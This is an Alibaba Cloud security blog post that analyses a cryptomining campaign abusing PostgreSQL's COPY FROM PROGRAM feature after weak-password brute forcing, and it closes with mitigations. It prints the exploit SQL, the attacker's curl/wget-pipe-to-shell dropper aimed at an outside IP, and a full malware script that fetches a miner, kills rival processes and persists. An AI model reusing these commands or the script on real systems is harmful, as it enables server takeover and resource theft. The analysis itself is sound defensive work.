×
Community Blog Is Your PostgreSQL Server Secretly Mining Digital Coins?

Is Your PostgreSQL Server Secretly Mining Digital Coins?

Alibaba Cloud security team detected the first batch mining attack exploiting the PROGRAM feature of PostgreSQL, an open source database popular in cloud deployments.

By Fengwei Zhang

With the increasing popularity of digital currencies and their relatively high prices, mining has become a popular way of monetizing exploits. To maximize the hashrate, attackers try to find powerful cloud machines. Database servers are usually deployed on more expensive hardware, making them an ideal target for mining.

We recommend that database service providers and users revisit their security policies, paying special attention to the default login credentials and the visibility of their database servers to minimize the chances of a successful attack. While mining use case is relatively harmless and easier to detect using load metrics, other malicious uses such as unauthorized access to the data, and infiltration of other machines within the organization perimeter can have far more serious consequences for an enterprise.

Yuriy Yuzifovich
Head of Security Innovation Labs, Alibaba Cloud

Around 19:00 on August 10, 2018, Alibaba Cloud security team detected the first batch mining attack exploiting the PROGRAM feature of PostgreSQL, an open source database popular in cloud deployments. The attacker first scanned hosts to find those with weak passwords, and then used previously unknown RCE-enabling method to deploy mining software on these hosts after successful login.

Alibaba Cloud security team traced mining attacks and found that PostgreSQL servers became a target of mining attacks following earlier incidents with Redis and OrientDB. Mining attacks on other data processing services will continue to grow in popularity.

This article provides a detailed analysis of the mining attack on the PostgreSQL database server.

Impact of the Vulnerability

Currently there are up to half a million of PostgreSQL hosts with open ports on the Internet, storing large amounts of important data.

As the digital currency economy keeps growing, many database services and applications (such as Redis and OrientDB) have become targets of mining attacks, Trojan horses, and other botnets. PostgreSQL is also one of the targets.

Any PostgreSQL server of version 9.5 or later that uses a weak password or exposed on the Internet could be vulnerable to this attack. Once compromised, the target hosts will have their computing capability, data, running applications completely controlled by the attacker.

Attack Sequence

  1. The attacker first discovers hosts with open port 5432 (default port of PostgreSQL) through a massive port scan.
  2. The attacker then attempts to brute force the login, using a list of standard weak passwords, such as the default password of PostgreSQL used for the default username Postgres, and successfully enters compromised database servers.
  3. The attacker then tries PROGRAM functionality to a shell command with the privilege of the logon account to download the first shell script payload:

Note: This vulnerability is verified by our security team in our lab, so all the IP addresses mentioned are local IP addresses.

COPY rce_test 
  FROM PROGRAM 'curl http://172.16.72.1/1.sh | bash';

The test performed in the local lab only runs a simple id command.

1

The final output of the command is as follows:

2

The output indicates that the command is executed successfully. This attack technique, when used together with the exploitation of the unauthorized access vulnerability, enables the attacker to run any command on target hosts.

In this particular attack, the attacker limited their activity to deploying a mining script using only the current user privileges.

sh -c (wget -q -O- http://204.48.25.175/kworker.sh || curl -fsSL http://204.48.25.175/kworker.sh) | sh

The downloaded script that runs on the host upon infiltration, kworker.sh looks as follows:

#!/bin/sh
XURL="http://204.48.25.175/kw0rker"
XNAME="x"`ls /dev/disk/by-uuid/ | head -n 1 | cut -c 1-8`
XPATH="/tmp/"
XBIN=$XPATH$XNAME

download_file(){
    if ! `(wget --no-check-certificate -O $2 $1 || curl $1 -o $2)`; then
        if [ "`python -c "import sys; print(sys.version_info[0])"`" = "3" ]; then
            python -c "from urllib.request import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        else
            python -c "from urllib import urlopen; u = urlopen('"$1"'); localFile = open('"$2"', 'wb'); localFile.write(u.read()); localFile.close()"
        fi
    fi
}

run_file(){
    chmod +x $1$2
    command cd $1 && ./$2
    rm -rf $1$2
}

keep_running(){
    xpid=`ps -aeo pid,command |grep $XNAME|grep -v grep | awk '{print $1}'`
    `ps -aeo pid,user,command | grep -v grep | grep -v 
$$
 | grep -v $xpid | grep -E "postgres|python|stratum|nohup|/tmp/|sleep" | awk '{print index($3,"post")?"":$1;}' | xargs kill -9`
    `ps -aeo pid,%cpu | grep -v 
$$
 | grep -v $xpid | grep -v grep | awk '{if($2>45){print $1}}' | xargs kill -9`
    p=`ps -aeo command | grep -v defunct | grep $XNAME | grep -v grep | wc -l`
        if [ ${p} -eq 0 ];then
            sleep 3600
            download_file $XURL $XBIN
            run_file $XPATH $XNAME &
        fi
}
while true
do
    keep_running
    sleep 5
done

The script then downloads a mining program.

3

The attacker used the following Monero address:

41ixve3yz58LhFbEpVqnbXeeMe7xq6R5uU9jz54iHBqFTddAKfvpSGDUg6xDyoTHSg2uxZQG6FjiE3Em435cypdjLkFNCc8

Through this attack, the attacker obtained 19.718362120000 Monero coins, equivalent to about 12,000 RMB (about $1,745) at the current Monero coin price (619 RMB/coin).

4

The hashrate of the preceding Monero address skyrocketed by approximately four times since August 10. The attacker used a feature that became available in PostgreSQL 9.5, and this is the first malicious use of this feature. At this time, we don’t see a massive exploitation of this vulnerability. We believe that this attack technique is in early stages and will spread further; variations are to be expected too.

Security Recommendations

We informed PostgreSQL's security team about this vulnerability, and they acknowledged it. However, they suggested users mitigating it by following the documentation. Alibaba Cloud security strategy can block such massive scanning on this vulnerability and protect our customers. We also suggest users:

  1. Strengthen the PostgreSQL password policy and do not use the default password or other weak passwords.
  2. Set an IP address whitelist within the security group to prevent unauthorized access to the PostgreSQL database from other IP addresses.
0 0 0
Share on

Alibaba Cloud Security

32 posts | 15 followers

You may also like

Comments